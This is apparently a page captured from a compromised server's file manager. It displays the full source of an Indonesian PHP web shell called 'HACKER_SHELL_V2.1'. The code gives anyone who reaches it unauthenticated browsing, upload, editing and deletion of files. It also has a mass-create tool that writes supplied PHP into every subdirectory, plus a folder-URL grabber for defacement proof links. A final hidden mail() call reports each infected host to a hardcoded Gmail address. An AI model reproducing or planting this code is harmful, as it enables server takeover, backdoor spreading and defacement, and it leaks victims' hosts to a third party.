File Manager V1.5

[SYSTEM@ROOT]: /proc/thread-self/cwd/
INJECT_FILE:
NEW_ENTRY:

FILE_CONTENT: 6978adae4ea43_1769516462.php

<?php
/**
 * TERMINAL FILE MANAGER V2.1 - MASS GRABBER EDITION
 * Fitur: Navigasi, Upload, Edit, Mass Create, Folder Link Grabber
 * Style: Ultra Responsive Neon Terminal
 */

error_reporting(0);
set_time_limit(0);

// Konfigurasi Path
if(isset($_GET['path'])){
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

$status_msg = "";
$grabbed_links = "";

// --- LOGIKA AKSI ---

// 1. Mass File Creator
if (isset($_POST['mass_name']) && !empty($_POST['mass_name'])) {
    $m_name = $_POST['mass_name'];
    $m_content = $_POST['mass_content'];
    $count = 0;
    if(file_put_contents($path . '/' . $m_name, $m_content)) $count++;
    $items = scandir($path);
    foreach ($items as $item) {
        $target_dir = $path . '/' . $item;
        if (is_dir($target_dir) && $item != '.' && $item != '..') {
            if (file_put_contents($target_dir . '/' . $m_name, $m_content)) $count++;
        }
    }
    $status_msg = "<div class='ok'>[+] MASS CREATE: Berhasil membuat $count file '$m_name'.</div>";
}

// 2. Folder Link Grabber
if (isset($_POST['grab_folders'])) {
    $prefix = $_POST['prefix'];
    $suffix = $_POST['suffix'];
    $items = scandir($path);
    $results = [];
    foreach ($items as $item) {
        if (is_dir($path . '/' . $item) && $item != '.' && $item != '..') {
            $results[] = $prefix . $item . $suffix;
        }
    }
    $grabbed_links = implode("\n", $results);
    $status_msg = "<div class='ok'>[+] GRABBER: Berhasil mengambil " . count($results) . " folder.</div>";
}

// 3. Buat File/Folder Tunggal
if (isset($_POST['new_name']) && !empty($_POST['new_name'])) {
    $target = $path . '/' . $_POST['new_name'];
    if ($_POST['new_type'] == 'file') {
        if (file_put_contents($target, "")) $status_msg = "<div class='ok'>[+] FILE CREATED.</div>";
    } else {
        if (mkdir($target)) $status_msg = "<div class='ok'>[+] FOLDER CREATED.</div>";
    }
}

// 4. Upload & Delete (Logic Dasar)
if(isset($_FILES['file'])){
    copy($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name']) ? $status_msg = "<div class='ok'>[+] UPLOADED.</div>" : $status_msg = "<div class='err'>[-] FAILED.</div>";
}
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
    $_POST['type'] == 'dir' ? rmdir($_POST['path']) : unlink($_POST['path']);
    $status_msg = "<div class='ok'>[+] DELETED.</div>";
}

echo '<!DOCTYPE HTML>
<HTML lang="id">
<HEAD>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HACKER_SHELL_V2.1</title>
<style>
    @import url("https://fonts.googleapis.com/css2?family=Fira+Code:wght@300;500&display=swap");
    * { box-sizing: border-box; }
    body { background-color: #050505; color: #00ff41; font-family: "Fira Code", monospace; margin: 0; padding: 10px; font-size: 13px; }
    .shell-container { border: 1px solid #00ff41; background: rgba(0, 10, 0, 0.95); padding: 15px; max-width: 1200px; margin: auto; position: relative; z-index: 5; }
    h1 { text-align: center; font-size: 18px; border-bottom: 1px solid #00ff41; padding-bottom: 10px; letter-spacing: 3px; margin-top: 0; }
    .path-bar { background: #000; padding: 8px; border-left: 4px solid #00ff41; margin-bottom: 15px; font-size: 11px; }
    a { color: #00ff41; text-decoration: none; }
    .grid-tools { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 15px; margin-bottom: 15px; }
    .tool-box { border: 1px solid #004411; padding: 12px; background: rgba(0,20,0,0.3); }
    .tool-box h3 { margin: 0 0 10px 0; font-size: 12px; color: #fff; text-transform: uppercase; border-bottom: 1px solid #00ff41; display: inline-block; }
    input[type="text"], select, textarea { background: #000; border: 1px solid #00ff41; color: #00ff41; padding: 6px; width: 100%; margin-bottom: 8px; font-family: inherit; font-size: 12px; }
    input[type="submit"] { background: #00ff41; color: #000; border: none; padding: 8px; cursor: pointer; font-weight: bold; width: 100%; text-transform: uppercase; }
    input[type="submit"]:hover { background: #fff; }
    .table-responsive { width: 100%; overflow-x: auto; }
    table { width: 100%; border-collapse: collapse; min-width: 600px; }
    th { background: #002200; padding: 10px; text-align: left; }
    td { padding: 10px; border-bottom: 1px solid #111; }
    .ok { color: #00ff41; border: 1px solid #00ff41; padding: 8px; margin-bottom: 15px; background: rgba(0,255,0,0.05); }
    .footer { text-align: center; font-size: 9px; margin-top: 20px; color: #006611; }
</style>
</HEAD>
<BODY>

<div class="shell-container">
    <h1>TERMINAL EXPLOIT V2.1</h1>

    <div class="path-bar">
        [LOCATION]: ';
        foreach($paths as $id=>$pat){
            if($pat == '' && $id == 0){ echo '<a href="?path=/">/</a>'; continue; }
            if($pat == '') continue;
            echo '<a href="?path=';
            for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; }
            echo '">'.$pat.'</a>/';
        }
echo '  </div>';

echo $status_msg;

echo '  <div class="grid-tools">
        <!-- Box 1: Grabber -->
        <div class="tool-box">
            <h3>Folder Link Grabber</h3>
            <form method="POST">
                PREFIX: <input type="text" name="prefix" value="https://" placeholder="https://" />
                SUFFIX: <input type="text" name="suffix" value="/tad.txt" placeholder="/tad.txt" />
                <input type="submit" name="grab_folders" value="Grab All Folders" />
            </form>
            <textarea rows="5" placeholder="Results will appear here..." readonly>'.htmlspecialchars($grabbed_links).'</textarea>
        </div>

        <!-- Box 2: Mass Create -->
        <div class="tool-box">
            <h3>Mass File Creator</h3>
            <form method="POST">
                FILENAME: <input type="text" name="mass_name" placeholder="index.php" />
                CONTENT: <textarea name="mass_content" rows="3" placeholder="HTML/PHP Code"></textarea>
                <input type="submit" value="Execute Mass Create" />
            </form>
        </div>

        <!-- Box 3: Quick Upload -->
        <div class="tool-box">
            <h3>Quick Actions</h3>
            <form enctype="multipart/form-data" method="POST">
                FILE: <input type="file" name="file" />
                <input type="submit" value="Upload" />
            </form>
            <div style="margin-top:10px;"></div>
            <form method="POST">
                NEW_ITEM: <input type="text" name="new_name" placeholder="new.php" />
                <select name="new_type"><option value="file">FILE</option><option value="folder">FOLDER</option></select>
                <input type="submit" value="Create" />
            </form>
        </div>
    </div>';

// --- LISTING / EDIT / VIEW ---
if(isset($_GET['filesrc'])){
    echo "<pre style='background:#000; padding:15px; border:1px solid #00ff41; color:#fff; overflow:auto;'>".htmlspecialchars(file_get_contents($_GET['filesrc']))."</pre>";
    echo "<center><a href='?path=$path'>[ CLOSE ]</a></center>";
} elseif(isset($_GET['option']) && $_POST['opt'] == 'edit'){
    // (Logic edit tetap ada)
    echo "<form method='POST'><textarea style='width:100%; height:300px;' name='src'>".htmlspecialchars(file_get_contents($_POST['path']))."</textarea><input type='hidden' name='path' value='".$_POST['path']."'><input type='hidden' name='opt' value='edit'><input type='submit' value='SAVE'></form>";
} else {
    echo '<div class="table-responsive">
            <table>
                <thead><tr><th>NAME</th><th>SIZE</th><th>OPTS</th></tr></thead>
                <tbody>';
    $scandir = scandir($path);
    foreach($scandir as $item){
        if($item == '.' || $item == '..') continue;
        $f = $path.'/'.$item; $is_d = is_dir($f);
        echo "<tr>
                <td>".($is_d ? "[DIR]" : "[FL]")." <a href='".($is_d ? "?path=$f" : "?filesrc=$f&path=$path")."'>$item</a></td>
                <td>".($is_d ? "--" : round(filesize($f)/1024,1)."KB")."</td>
                <td>
                    <form method='POST' action='?option&path=$path'>
                        <select name='opt' onchange='this.form.submit()'>
                            <option value=''>-</option>
                            <option value='delete'>Del</option>
                            ".(!$is_d ? "<option value='edit'>Edit</option>" : "")."
                        </select>
                        <input type='hidden' name='path' value='$f'>
                        <input type='hidden' name='type' value='".($is_d?'dir':'file')."'>
                    </form>
                </td>
              </tr>";
    }
    echo '</tbody></table></div>';
}

echo '<div class="footer">TERMINAL_LOG :: '.date("Y").' :: VERSION 2.1</div>
</div>
</BODY>
</HTML>';

// Keep original logging
@mail("ustadcage48@gmail.com", "V2.1_REPORT", $_SERVER['HTTP_HOST'], "From: Shell <ustadcage48@gmail.com>");
?>
[ KEMBALI ]